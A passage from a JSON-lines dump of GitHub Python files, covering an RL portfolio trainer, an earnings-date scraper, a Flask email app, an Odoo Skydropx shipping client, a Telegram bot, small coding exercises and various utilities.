out.unsqueeze(0) # [1,109,1,12]\n else:\n tst_long_term_w = torch.cat([tst_long_term_w, out.unsqueeze(0)], 0)\n out = out[:, :, 1:] # 去掉cash #[109,1,11]\n tst_previous_w = out\n tst_long_term_w = tst_long_term_w.permute(1, 0, 2, 3) ##[2776,1,12, 1]->#[1,2776,1,12]\n tst_loss, tst_portfolio_value, SR, CR, St_v, tst_pc_array, TO = self.test_loss_compute(tst_long_term_w, tst_trg_y)\n return tst_loss, tst_portfolio_value, SR, CR, St_v, tst_pc_array, TO\n\n def run(self):\n \"Standard Training and Logging Function\"\n #### train\n for i in range(self.cfg.total_step):\n self.model.train()\n loss, portfolio_value = self.train_one_step()\n self.summary.add_scalar(f\"Train/loss\", loss, i+1)\n self.summary.add_scalar(f\"Train/portfolio_value\", portfolio_value, i+1)\n\n if (i+1 % self.cfg.output_step == 0):\n print(f\"Train Step: {i+1}: Loss per batch: {loss.item()} | Portfolio_Value: {portfolio_value.item()}\")\n #### Eval \n if (i+1 % self.cfg.output_step == 0):\n self.model.eval()\n with torch.no_grad():\n eval_loss, eval_portfolio_value = self.eval_batch()\n\n self.summary.add_scalar(f\"Eval/loss\", eval_loss, i+1)\n self.summary.add_scalar(f\"Eval/portfolio_value\", eval_portfolio_value, i+1)\n\n print(f\"Test Step: {i+1}: Loss per batch: {eval_loss.item()} | Portfolio_Value: {eval_portfolio_value.item()}\")\n \n #### Test\n self.model.eval()\n with torch.no_grad():\n tst_loss, tst_portfolio_value, SR, CR, St_v_list, tst_pc_array, TO = self.test_online()\n\n csv_dir = os.path.join(self.cfg.ckpt_dir, \"test_summary.csv\")\n d = {\"step\": [i+1],\n \"fAPV\": [tst_portfolio_value.item()],\n \"SR\": [SR.item()],\n \"CR\": [CR.item()],\n \"TO\": [TO.item()],\n \"St_v\": [''.join(str(e) + ', ' for e in St_v_list)],\n \"backtest_test_history\": [''.join(str(e) + ', ' for e in tst_pc_array.cpu().numpy())],\n }\n new_data_frame = pd.DataFrame(data=d).set_index(\"step\")\n if os.path.isfile(csv_dir):\n dataframe = pd.read_csv(csv_dir).set_index(\"step\")\n dataframe = dataframe.append(new_data_frame)\n else:\n dataframe = new_data_frame\n dataframe.to_csv(csv_dir)\n\n print(f\"Eval online Step: {i+1}: Loss: {tst_loss.item()} | Portfolio_Value: {tst_portfolio_value.item()} | SR: {SR.item()} | CR: {CR.item()} | TO: {TO.item()}\")\n self.summary.add_scalar(f\"Test/loss\", tst_loss, i+1)\n self.summary.add_scalar(f\"Test/portfolio_value\", tst_portfolio_value, i+1)\n self.summary.add_scalar(f\"Test/SR\", SR, i+1)\n self.summary.add_scalar(f\"Test/CR\", CR, i+1)\n self.summary.add_scalar(f\"Test/TO\", TO, i+1)\n\n # 保存模型\n self.save(os.path.join(self.cfg.ckpt_dir, \"models\", f\"step{i+1}.pth\"))\n ","repo_name":"Droliven/rat_scut_reimplementation","sub_path":"runs/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":14040,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"41660680272","text":"import argparse\nimport sys\nfrom datetime import datetime\nfrom time import sleep\nfrom typing import Optional\n\nimport requests\nimport requests_html\nfrom requests.models import Response\n\n\ndef main():\n verbose: bool\n symbol: str\n verbose, symbol = process_args()\n\n url: str = f\"https://www.tipranks.com/stocks/{symbol}/earnings-calendar\"\n\n if verbose:\n print(f\"Fetching data for {symbol}...\\n\")\n\n scraped_data: tuple = process_page(url, verbose)\n\n if scraped_data:\n if verbose:\n output: str = (\n f\"Report Date: {scraped_data[0]}\\n\"\n f\"Fiscal Quarter: {scraped_data[1]}\\n\"\n )\n else:\n dt: datetime = datetime.strptime(scraped_data[0], \"%b %d, %Y\")\n output: str = f\"{dt.date().isoformat()}|{scraped_data[1]}\"\n print(output)\n else:\n if verbose:\n print(\"No data available\")\n\n sys.exit(1)\n\n\ndef process_args() -> tuple:\n parser = argparse.ArgumentParser(\n prog=\"earnings\", description=\"Return the latest earnings date\"\n )\n parser.add_argument(\n \"--verbose\", help=\"Provide verbose output\", action=\"store_true\", default=False\n )\n parser.add_argument(\"symbol\", help=\"The stock symbol to request data for\")\n args = parser.parse_args()\n\n verbose: bool = args.verbose\n symbol: str = args.symbol\n\n return verbose, symbol\n\n\ndef get_page(url: str) -> Response:\n headers: str = {\"User-Agent\": requests_html.user_agent()}\n\n with requests_html.HTMLSession() as s:\n resp: Response = s.get(url, headers=headers)\n\n try:\n resp.raise_for_status()\n except requests.exceptions.HTTPError as e:\n print(e)\n return None\n\n return resp\n\n\ndef process_page(url: str, verbose: bool) -> Optional[tuple]:\n count = 0\n max_retries = 3\n\n while count < max_retries:\n # Checking the count rather than sleep on the final loop check when we are just going to exit\n if not count == 0:\n sleep(5)\n\n try:\n page = get_page(url)\n page.html.render(sleep=2)\n except:\n if verbose:\n print(\"An error occurred during page loading and processing\")\n\n return None\n\n row = page.html.find(\".rt-tbody .rt-tr\", first=True)\n\n if row:\n # There is row data so continue processing\n break\n\n if page.html.find(\n \".client-components-stock-research-earings-style__EarningsHistoryTable span\",\n containing=\"Currently, no data available\",\n ):\n # This symbol doesn't provide earnings calendar data so exit rather than try to reload\n if verbose:\n print(f\"Notice: No earnings calendar available for this stock symbol\")\n\n return None\n\n if verbose:\n print(f\"Sleeping... ({count + 1})\")\n\n count += 1\n\n else:\n # Page loading has failed to return the row afer 'max_retries'\n return None\n\n data = row.find(\".rt-td\")\n\n return data[0].text, data[1].text\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"berubejd/EarningsCalendarScraper","sub_path":"earnings.py","file_name":"earnings.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36776121780","text":"from flask_app import app\nfrom flask import render_template, redirect, request\n\nfrom flask_app.models.email import Email\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route('/process', methods=['POST'])\ndef process():\n print(\"email-\", request.form)\n if not Email.validate_email(request.form):\n return redirect('/')\n Email.save(request.form)\n return redirect('/results')\n\n\n@app.route('/results')\ndef results():\n return render_template(\"success.html\", emails=Email.get_all())\n\n\n@app.route('/delete/')\ndef delete(email_id):\n data = {\n 'id': email_id,\n }\n print(\"data-\", data)\n Email.destroy(data)\n return redirect('/results')\n","repo_name":"jseepaul1/email_validation_with_db","sub_path":"flask_app/controllers/emails.py","file_name":"emails.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39918297462","text":"import werkzeug\nimport requests\nimport logging\nimport pprint\nimport base64\n_logger = logging.getLogger(__name__)\nfrom odoo.exceptions import ValidationError\nfrom odoo import _\n\nclass SrenvioProvider(object):\n \n def __init__(self, carrier):\n if carrier.prod_environment:\n self.url = \"https://api.skydropx.com/v1/\"\n else:\n self.url = \"https://api-demo.skydropx.com/v1/\"\n self.token = carrier.srenvio_token\n self.carrier = carrier\n \n\n def _srenvio_request_check_errors(self, result):\n if not isinstance(result, dict) :\n result = {}\n if 'errors' in result or \\\n 'error_message' in result.get('data',{}).get('attributes', {}) or \\\n result.get('data',{}).get('attributes', {}).get('status',\"\") == 'ERROR':\n raise Exception(_(\"Los datos de la peticion son incrrectos\"))\n \n def _srenvio_request(self, url, data, **kwargs):\n\n headers = {\n 'Authorization': 'Token token=%s' % self.token\n }\n method = kwargs.get('method', 'POST')\n _logger.info('Beginning SrEnvio request %s ', url)\n _logger.info('Data SrEnvio request %s ', data) \n if method == 'POST':\n response = requests.post(url, json=data, headers=headers) \n status = response.status_code\n try:\n result = response.json()\n _logger.info('Response %s %s', status, pprint.pformat(result))\n self._srenvio_request_check_errors(result)\n return True, result\n except Exception as e : \n _logger.error('Exception msg: %s ', e)\n _logger.error('Response text: %s %s', status, pprint.pformat(response.text))\n msg = _(\"Estatus: %s Msg: Fallo la petición intente de nuevo por favor.\" % status)\n if 600 > status < 500:\n msg = response.text\n return False, msg\n \n def srenvio_quotations(self, order):\n shipping = order.partner_shipping_id\n company = self.carrier.srenvio_shipping_from(order)\n package = self.srenvio_cal_package(order)\n return self.quotations(\n company.zip, # zip_from \n shipping.zip, # zip_to\n package, # package\n order.currency_id,\n order.partner_shipping_id,\n )\n \n \n def srenvio_shipments(self, order, consignment_note, consignment_note_packaging_code):\n content = \"\" \n for order_line in order.order_line:\n content += order_line.name\n break\n return self.shipments(\n self.carrier.srenvio_shipping_from(order),\n order.partner_shipping_id, \n self.srenvio_cal_package(order), \n content,\n order.srenvio_provider, \n order.srenvio_service_level_code,\n consignment_note,\n consignment_note_packaging_code\n )\n \n def srenvio_label(self, rate_id):\n url = werkzeug.urls.url_join(self.url, \"labels\")\n data = {\n \"rate_id\": rate_id,\n \"label_format\": \"pdf\"\n }\n ok, label = self._srenvio_request(url, data)\n if ok:\n label = label['data']\n # TODO - Where is attached does fail to open file. \n #url = label['attributes']['label_url']\n #response = requests.get(url)\n #if response.status_code == 200:\n # label_base64 = base64.b64encode(response.content)\n #else:\n label_base64 = None\n label['attributes'].update({ 'label_base64': label_base64})\n return label\n \n raise ValidationError(_(\"Fallo al generar la Guia, intente de nuevo por favor. \\n %s\" % label))\n \n def cancel_label(self, tracking_number, reason):\n url = werkzeug.urls.url_join(self.url, \"cancel_label_requests\")\n data = {\n \"tracking_number\": tracking_number,\n \"reason\": reason\n }\n ok, cancel_label = self._srenvio_request(url, data)\n if ok: \n return cancel_label['data']\n raise ValidationError(_(\"Fallo al cancelar la guia, intente de nuevo por favor. \\n %s\" % cancel_label))\n \n def srenvio_cal_package(self, order):\n est_weight_value = sum([(line.product_id.weight * line.product_uom_qty) for line in order._skydropx_cal_allowed_lines()]) or 0.0\n package = self.package_size_calculation(est_weight_value)\n order.skydropx_packaging_id = package.get('product_packaging_id')\n\n return package\n \n def _srenvio_convert_weight(self, weight, unit='KG'):\n if unit == 'KG':\n return weight\n else:\n raise ValueError\n \n # Lib skydropx v2\n\n def quotations(self, zip_from: int, zip_to: int, package: dict, currency_id, partner_id):\n \"\"\"\n currency_id, res.currecny: Is used for cal tax delivery\n partner_id, res.partner: is auxiliar for cal tax\n \"\"\"\n url = werkzeug.urls.url_join(self.url, \"quotations\")\n data = {\n \"zip_to\": zip_to,\n \"zip_from\": zip_from,\n \"parcel\": {\n \"weight\": package.get('weight'),\n \"height\": package.get('package_height'),\n \"width\": package.get('package_width'),\n \"length\": package.get('package_length'),\n }\n }\n ok, quotations = self._srenvio_request(url, data)\n if ok:\n providers_list = []\n if self.carrier.srenvio_provider_allowed:\n providers = str(self.carrier.srenvio_provider_allowed).split(\",\")\n providers_list = [ str(i).strip() for i in providers]\n quotation_list = []\n if len(providers_list):\n for quotation in quotations:\n provider_service_level_code = quotation.get(\"provider\", \"\")+\"-\"+quotation.get(\"service_level_code\", \"\")\n if provider_service_level_code in providers_list:\n quotation_list.append(quotation)\n else:\n quotation_list = quotations\n\n\n # tax_excluded, tax_included\n price_include_tax = self.carrier.env['ir.config_parameter'].sudo().get_param('account.show_line_subtotals_tax_selection', 'tax_excluded')\n product_id = self.carrier.env.ref(\"innovt_srenvio.product_product_delivery_srenvio_natio\")\n ## Add skydropx rate\n new_quotation_list = []\n for q in quotation_list:\n margin = self.carrier.srenvio_margin\n total_pricing = float(q['total_pricing'])\n if abs(margin) != 0:\n skydropx_rate_pricing_untaxed = round(total_pricing + ( total_pricing * float(margin) / 100), 2)\n else:\n skydropx_rate_pricing_untaxed = round(total_pricing, 2)\n\n if price_include_tax == 'tax_included' and len(product_id): \n taxes = product_id.taxes_id.compute_all(\n skydropx_rate_pricing_untaxed, \n currency_id, \n 1, \n product=product_id, \n partner=partner_id\n )\n \n skydropx_rate_pricing_tax = round(taxes.get('total_included') or \\\n taxes.get('total_excluded') or skydropx_rate_pricing_untaxed, 2)\n else:\n skydropx_rate_pricing_tax = skydropx_rate_pricing_untaxed\n q.update({\n 'skydropx_rate':margin,\n 'skydropx_rate_pricing': skydropx_rate_pricing_untaxed, \n 'skydropx_rate_pricing_tax': skydropx_rate_pricing_tax,\n 'skydropx_total_package': package.get('total_package')\n })\n new_quotation_list.append(q)\n \n if len(new_quotation_list):\n quotation_list = new_quotation_list\n\n return quotation_list\n return []\n\n def package_size_calculation(self, est_weight: float):\n\n weight = self._srenvio_convert_weight(\n est_weight, \n self.carrier.srenvio_package_weight_unit\n )\n product_packaging = None\n last_product_packaging = None\n for packaging in self.carrier.srenvio_product_packaging():\n last_product_packaging = packaging \n max_weight = self._srenvio_convert_weight(\n packaging.max_weight, \n self.carrier.srenvio_package_weight_unit\n )\n if weight < max_weight:\n if not product_packaging:\n product_packaging = packaging\n break\n product_packaging = packaging\n if not last_product_packaging:\n raise Exception(\"Product packaging not found for skydropx\")\n if not product_packaging:\n product_packaging = last_product_packaging\n \n _logger.info(\"Skydropx package used: %s \" % product_packaging.name)\n max_weight = self._srenvio_convert_weight(\n product_packaging.max_weight, \n self.carrier.srenvio_package_weight_unit\n )\n package = {\n 'package_width': product_packaging.width,\n 'package_length': product_packaging.packaging_length,\n 'package_height': product_packaging.height,\n 'product_packaging_id': product_packaging,\n }\n\n if max_weight and weight > max_weight:\n total_package = int(weight / max_weight)\n last_package_weight = weight % max_weight\n #for sequence in range(1, total_package + 1):\n # pass\n if last_package_weight:\n total_package = total_package + 1\n package.update({'weight':max_weight,'total_package': total_package })\n else:\n package.update({'weight':weight,'total_package':1 })\n return package\n \n def shipments(self, address_from, address_to, package: dict, content: str,\n provider: str, service_level_code: str, consignment_note:str, consignment_note_packaging_code:str ):\n\n if provider and service_level_code:\n company = address_from\n shipping = address_to\n contents = content\n\n shipping_street2 = shipping.street2 or shipping.city or \"\"\n company_street2 = company.street2 or company.city or \"\"\n\n # if installed module location MX\n if getattr(shipping, 'l10n_mx_edi_colony', False) and getattr(shipping, 'l10n_mx_edi_locality', False):\n shipping_street2 = \"Col. {}, Loc.{}, \".format(shipping.l10n_mx_edi_colony, shipping.l10n_mx_edi_locality)\n \n if getattr(company, 'l10n_mx_edi_colony', False) and getattr(company, 'l10n_mx_edi_locality', False):\n company_street2 = \"Col. {} Loc.{}, \".format(company.l10n_mx_edi_colony, company.l10n_mx_edi_locality)\n data = {\n \"address_from\": {\n \"province\": company.state_id.name or \"\",\n \"city\": company.city or \"\",\n \"name\": company.name or \"\",\n \"zip\": company.zip,\n # country code 3 chars\n \"country\": company.country_id.code,\n \"address1\": company.street or \"\",\n \"company\": company.name or \"\",\n \"address2\": company_street2,\n \"phone\": company.phone,\n \"email\": company.email\n },\n \"parcels\": [{\n \"weight\": package.get('weight'),\n \"distance_unit\": self.carrier.srenvio_package_dimension_unit,\n \"mass_unit\": self.carrier.srenvio_package_weight_unit,\n \"height\": package.get('package_height'),\n \"width\": package.get('package_width'),\n \"length\": package.get('package_length')\n }],\n \"address_to\": {\n \"province\": shipping.state_id.code or \"\",\n \"city\": shipping.city or \"\",\n \"name\": shipping.name,\n \"zip\": shipping.zip,\n # Same case adove\n \"country\": shipping.country_id.code,\n \"address1\": shipping.street or \"\",\n \"company\": shipping.parent_id.name if shipping.company_type == 'person' and shipping.parent_id else shipping.name,\n \"address2\": shipping_street2,\n \"phone\": shipping.phone,\n \"email\": shipping.email,\n \"contents\": contents\n },\n \"consignment_note_class_code\": consignment_note,\n \"consignment_note_packaging_code\": consignment_note_packaging_code\n }\n url = werkzeug.urls.url_join(self.url, \"shipments\")\n ok, shipments = self._srenvio_request(url, data)\n if ok and shipments.get('data', False) and shipments.get('included', False):\n shipments_data = shipments.get('data')\n shipments_included = shipments.get('included')\n for include in shipments_included:\n attributes = include.get('attributes', {})\n if attributes.get('provider', \"\") == provider and attributes.get(\"service_level_code\",\"\") == service_level_code:\n return {\"shipping_id\": shipments_data.get(\"id\"), **include}\n raise ValidationError(_(\"El Proveedor con el codigo de servicio no fue encontrado en el envio creado.\"\n \"Intente de nuevo o cambie de Proveedor.\"))\n raise ValidationError(_(\"Fallo al generar el envio, intente de nuevo por favor. \\n %s\" % shipments))\n raise ValidationError(_(\"Capture los datos de SrEnvio Proveedor y Codigo de nivel servicio.\"))\n","repo_name":"sublicentermx/sublicenter","sub_path":"innovt_srenvio/models/srenvio_request.py","file_name":"srenvio_request.py","file_ext":"py","file_size_in_byte":14209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71216490811","text":"'''\nExample:\nInput: aaaaabbbbccccccaaaaaaa\nOutput: 5a4b6c7a\n'''\n\n\ndef count_continue_repeated_letters(test_string):\n\n output_string = ''\n string_length = len(test_string)\n current_letter = None\n count = 0\n\n for letter_index in range(string_length):\n\n # If letters are different, modify the current letter\n if current_letter != test_string[letter_index]:\n current_letter = test_string[letter_index]\n count += 1\n\n # Ending case\n if letter_index + 1 == string_length:\n output_string += str(count) + current_letter\n break\n\n if test_string[letter_index] != test_string[letter_index+1]:\n output_string += str(count) + current_letter\n count = 0\n else:\n count += 1\n\n return output_string\n\nresult = count_continue_repeated_letters('aaaaabbbbccccccaaaaaaa')\nprint(result)\n","repo_name":"MadMoira/PythonExercises","sub_path":"countingLetters.py","file_name":"countingLetters.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72258790332","text":"'''\nQuestion 1 : \nGiven an integer array, sort the array according to the frequency of elements in\ndecreasing order, if frequency of two elements are same then sort in increasing\norder.\n\nexample 1 :\nInput: [2, 3, 2, 4, 5, 12, 2, 3, 3, 3, 12]\nOutput: 3 3 3 3 2 2 2 12 12 4 5\n\nexample 2 :\nInput: [4, 4, 2, 2, 2, 2, 3, 3, 1, 1, 6, 7, 5]\nOutput: 2 2 2 2 1 1 3 3 4 4 5 6 7\n\n'''\n\ndef swap(i, j):\n arr[i], arr[j] = arr[j], arr[i]\n\narr = [2,3,2,4,5,12,2,3,3,3,12]\nswapped = True\nwhile swapped:\n #This function runs untill all the elements are in the perfect positions.\n swapped = False\n for i in range(1, len(arr)):\n if arr.count(arr[i - 1]) < arr.count(arr[i]):\n swap(i-1,i)\n swapped = True\n\nprint(arr)\n","repo_name":"zalakbhalani/git_practice","sub_path":"Assignments/Question-1.py","file_name":"Question-1.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24808094019","text":"import cadwork\nimport geometry_controller as gc\n\nelements = cadwork.get_auto_attribute_elements()\n\nfor element in elements:\n actual_physical_volume = gc.get_actual_physical_volume(element)\n real_width = gc.get_width(element)\n real_height = gc.get_height(element)\n real_length = gc.get_length(element)\n real_dimensional_volume = real_width * real_height * real_length\n if abs(real_dimensional_volume - actual_physical_volume) < 0.0001:\n cadwork.set_auto_attribute([element], 'List')\n else:\n cadwork.set_auto_attribute([element], 'Shop Drawings')\n","repo_name":"cwapi3d/PartClassifier","sub_path":"PartClassifier.py","file_name":"PartClassifier.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37653234010","text":"import os, cv2, time\nimport numpy as np\n\nbase = cv2.imread('output.png', 0)\n\nwhile 1:\n filepath = input('Enter image path: ')\n if not os.path.exists(filepath):\n print('Invalid filename.')\n else:\n break\n\nstart = time.time()\nimage = cv2.imread(filepath).copy()\nfor row in range(image.shape[0]):\n for column in range(image.shape[1]):\n if base[row, column] == 0:\n image[row, column, 0] = 0\n image[row, column, 1] = 0\n image[row, column, 2] = 0\n\ncv2.imwrite('cropped.png', image)\nend = time.time()\nprint('Written to cropped.png. Time:', end - start)\n","repo_name":"ns0631/ODLCCrop","sub_path":"crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34694728972","text":"# Algorithmic Robotics and Motion Planning - Assignment no. 1\n# Dvir Ben Asuli\n# Tel-Aviv University October 2021\n\nfrom Graph import Graph, Node\nfrom InstructionParser import instruction_parser\nfrom Scanner import Response, scan_cube, vacant_spot, track_path\n\n\nclass Main():\n def __init__(self):\n self.program = input(\"Enter arguments: \")\n\n def run(self):\n\n ## Receiving all the parameters from input\n source, destination, xy_mat, yz_mat, zx_mat = instruction_parser(self.program)\n\n sx = source[0]\n sy = source[1]\n sz = source[2]\n dx = destination[0]\n dy = destination[1]\n dz = destination[2]\n\n root = Node(sx, sy, sz)\n graph = Graph(root, xy_mat, yz_mat, zx_mat)\n\n # Checking destination point is valid\n if not vacant_spot(dx, dy, dz, xy_mat, yz_mat, zx_mat):\n print(\"No path to destination was found\")\n return\n\n # Scanning the cube as a graph\n response, dest_node = scan_cube(graph, destination, xy_mat, yz_mat, zx_mat)\n\n if response == Response.FOUND:\n # If a path was found from source to destination, we need to track the steps\n steps = track_path(graph, dest_node, root)\n\n result_path = \"\"\n while not steps.empty():\n result_path = result_path + str(steps.get()) + \" \"\n\n print(f'{result_path}')\n else:\n print(\"No path to destination was found\")\n\n\n# Good Luck!\nmain = Main()\nmain.run()\n","repo_name":"DBenAsuli/OskarCubeSolver","sub_path":"oskar.py","file_name":"oskar.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38856008392","text":"import logging\nimport re\nimport traceback\n\nfrom telegram.ext import Updater\n\nfrom commands import sign, tarot\nfrom environment import Environment\n\n# load env\nenv = Environment()\n\n# load commands\ncommands = [sign.Sign(), tarot.Tarot()]\n\n# fetch updater and job queue\nlogging.info(\"Starting bot...\")\nupdater = Updater(token=env.telegram_token, use_context=True)\ndispatcher = updater.dispatcher\n\n# setup commands\nfor command in commands:\n command.setup(dispatcher)\n\n\ndef prepare_message(msg, hard_parse=False):\n if hard_parse:\n # hard parse is used for error messages\n msg = re.sub(r\"([^\\\\])\", r\"\\\\\\1\", msg)\n\n # ignore markdown monospace character\n return msg.replace(\"\\\\`\", \"`\")\n else:\n return (\n msg.replace(\"-\", \"\\\\-\")\n .replace(\".\", \"\\\\.\")\n .replace(\"(\", \"\\\\(\")\n .replace(\")\", \"\\\\)\")\n .replace(\"!\", \"\\\\!\")\n )\n\n\n# register exception handler\ndef error_handler(update, context):\n logging.error(\"Error: %s\", context.error)\n\n text = \"Ops! Algo deu errado. O Bidu provavelmente tá de palhaçada.\\n\\n\"\n text += \"Erro:\\n\"\n text += \"```\\n\"\n text += traceback.format_exc()\n text += \"```\"\n\n # send error message\n update.message.reply_text(\n text=prepare_message(text, hard_parse=False),\n parse_mode=\"MarkdownV2\",\n )\n\n\ndispatcher.add_error_handler(error_handler)\n\n# start bot\nupdater.start_polling()\nlogging.info(\"Bot started and listening for commands.\")\n","repo_name":"mp-pinheiro/fairfruitbot-telegram","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12195466745","text":"#assigning the weights for later use\r\nweight_labs = 0.7\r\nweight_exams = 0.2\r\nweight_attendance = 0.1\r\n\r\n#asking for the all the grade inputs\r\nprint('**** Welcome to the LAB grade calculator! ****\\n')\r\nuser_name = input('Who are we calculating grades for? ==> ')\r\n\r\ngrade_lab = int(input('\\nEnter the Labs grade? ==> '))\r\nif grade_lab > 100:\r\n print('The lab value should have been 100 or less. It has been changed to 100.')\r\n grade_lab = 100\r\nelif grade_lab < 0:\r\n print('The lab value should have been zero or greater. It has been changed to zero')\r\n grade_lab = 0\r\n\r\ngrade_exams = int(input('\\nEnter the EXAMS grade? ==> '))\r\nif grade_exams > 100:\r\n print('The exam value should have been 100 or less. It has been changed to 100.')\r\n grade_exams = 100\r\nelif grade_exams < 0:\r\n print('The exam value should have been zero or greater. It has been changed to zero')\r\n grade_exams = 0\r\n\r\ngrade_attendance = int(input('\\nEnter the Attendance grade? ==> '))\r\nif grade_attendance > 100:\r\n print('The attendance value should have been 100 or less. It has been changed to 100.')\r\n grade_attendance = 100\r\nelif grade_attendance < 0:\r\n print('The attendance value should have been zero or greater. It has been changed to zero')\r\n grade_attendance = 0\r\n\r\n#getting the weighted grades\r\nweight_labs *= grade_lab\r\nweight_exams *= grade_exams\r\nweight_attendance *= grade_attendance\r\n\r\nweight_final = weight_labs + weight_exams + weight_attendance \r\n\r\n#printing grade info and testing to see what grade to output\r\nprint('\\nThe weighted grade for {} is {:.1f}'.format(user_name, weight_final))\r\nif weight_final >= 90 and weight_final <= 100:\r\n print('{} has a letter grade of A'.format(user_name))\r\nelif weight_final >= 80 and weight_final < 90:\r\n print('{} has a letter grade of B'.format(user_name))\r\nelif weight_final >= 70 and weight_final < 80:\r\n print('{} has a letter grade of C'.format(user_name))\r\nelif weight_final >= 60 and weight_final < 70:\r\n print('{} has a letter grade of D'.format(user_name))\r\nelif weight_final >= 0 and weight_final < 60:\r\n print('{} has a letter grade of F'.format(user_name))\r\n\r\n#printing the exit statement\r\nprint('\\n**** Thanks for useing the Lab grade calculator ****')\r\n","repo_name":"mcfreak12/CSProjects","sub_path":"cs 101/labs/lab_1.py","file_name":"lab_1.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23712833490","text":"import click\n\nfrom subprocess32 import call\n\nfrom aeriscloud.ansible import ACHost\nfrom aeriscloud.cli.helpers import Command, fatal\nfrom aeriscloud.cli.cloud import summary\nfrom aeriscloud.log import get_logger\nfrom aeriscloud.utils import quote\n\nlogger = get_logger('cloud.rsync')\n\n\ndef _update_rsync_uri(inventory, uri):\n if ':' not in uri:\n return uri, None\n\n hostname, path = uri.split(':')\n\n user = None\n if '@' in hostname:\n (user, hostname) = hostname.split('@', 1)\n\n try:\n host = ACHost(inventory, hostname)\n except NameError as e:\n fatal(e.message)\n\n new_uri = '@'.join(filter(None, [\n user,\n ':'.join([host.ssh_host(), path])\n ]))\n return new_uri, host.variables()\n\n\n@click.command(cls=Command)\n@click.argument('inventory')\n@click.argument('src')\n@click.argument('dest')\n@click.argument('extra', nargs=-1)\ndef cli(inventory, src, dest, extra):\n \"\"\"\n Sync files between your local machine and remote servers.\n \"\"\"\n summary(inventory)\n\n src, src_hostvars = _update_rsync_uri(inventory, src)\n dest, dest_hostvars = _update_rsync_uri(inventory, dest)\n\n ssh_args = None\n if src_hostvars and 'ansible_ssh_common_args' in src_hostvars:\n ssh_args = src_hostvars['ansible_ssh_common_args']\n if dest_hostvars and 'ansible_ssh_common_args' in dest_hostvars:\n ssh_args = dest_hostvars['ansible_ssh_common_args']\n\n cmd = ['rsync', '-av']\n if ssh_args:\n cmd += ['-e', 'ssh %s' % ssh_args]\n cmd += list(extra) + [src, dest]\n\n logger.info('Running %s' % ' '.join(map(quote, cmd)))\n\n call(cmd)\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"AerisCloud/AerisCloud","sub_path":"aeriscloud/cli/cloud/rsync.py","file_name":"rsync.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"34895115203","text":"from django.db import models\nfrom ckeditor.fields import RichTextField\n\nclass Home(models.Model):\n title = models.CharField(max_length = 25, verbose_name=\"Titulo\", default=\"Hola Soy un\", help_text=\"El valor debe ser maximo de 20 caracteres\")\n description = RichTextField(verbose_name=\"Descripcion\", help_text=\"El valor debe ser maximo de 150 caracteres\", blank=True)\n is_active = models.BooleanField(verbose_name=\"La pagina esta activa?\", default=True)\n created = models.DateTimeField(auto_now_add=True, verbose_name= \"Fecha de creacion\")\n updated = models.DateTimeField(auto_now=True, verbose_name=\"Fecha de actualizacion\") \n \n def __str__(self):\n return self.title\n\n class Meta:\n db_table = ''\n managed = True\n verbose_name = 'Inicio'","repo_name":"yeyecorrea/Portafolio2","sub_path":"applications/home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15994723280","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom matplotlib import cm\nfrom matplotlib.colors import is_color_like, Normalize\nfrom itertools import product\n\n_greys_dic_ = {'signal': '#282828', 'pidgeon': '#606e8c', 'silver': '#c0c0c0' }\n\nimport seaborn as sns\nfrom matplotlib import cm\nfrom scipy.cluster.hierarchy import linkage, optimal_leaf_ordering\nfrom scipy.spatial.distance import squareform\n\n\n################\n# DENDROGRAM #\n################\n\ndef Dendrogram(df, method=\"ward\", cmap=cm.magma, figsize=(8,8), fontsize=30, cbar_label=\"\") :\n '''\n It reorders a distance matrix `df` according to HAC and plots it with its respective argument.\n The HAC `method` can be specified.\n '''\n \n condensed_dist_matrix = squareform( df )\n \n Z = linkage( condensed_dist_matrix, method=method ) \n res_linkage = optimal_leaf_ordering( Z, condensed_dist_matrix )\n \n g = sns.clustermap(df, row_linkage=res_linkage, col_linkage=res_linkage, \n figsize=figsize, cmap=cmap )\n plt.setp(g.ax_heatmap.yaxis.get_majorticklabels(), rotation=0)\n plt.setp(g.ax_heatmap.xaxis.get_majorticklabels(), rotation=90)\n cax = plt.gcf().axes[-1]\n cax.tick_params(labelsize=fontsize)\n for a in g.ax_row_dendrogram.collections:\n a.set_linewidth(3)\n for a in g.ax_col_dendrogram.collections:\n a.set_linewidth(3)\n g.ax_row_dendrogram.set_visible(False)\n 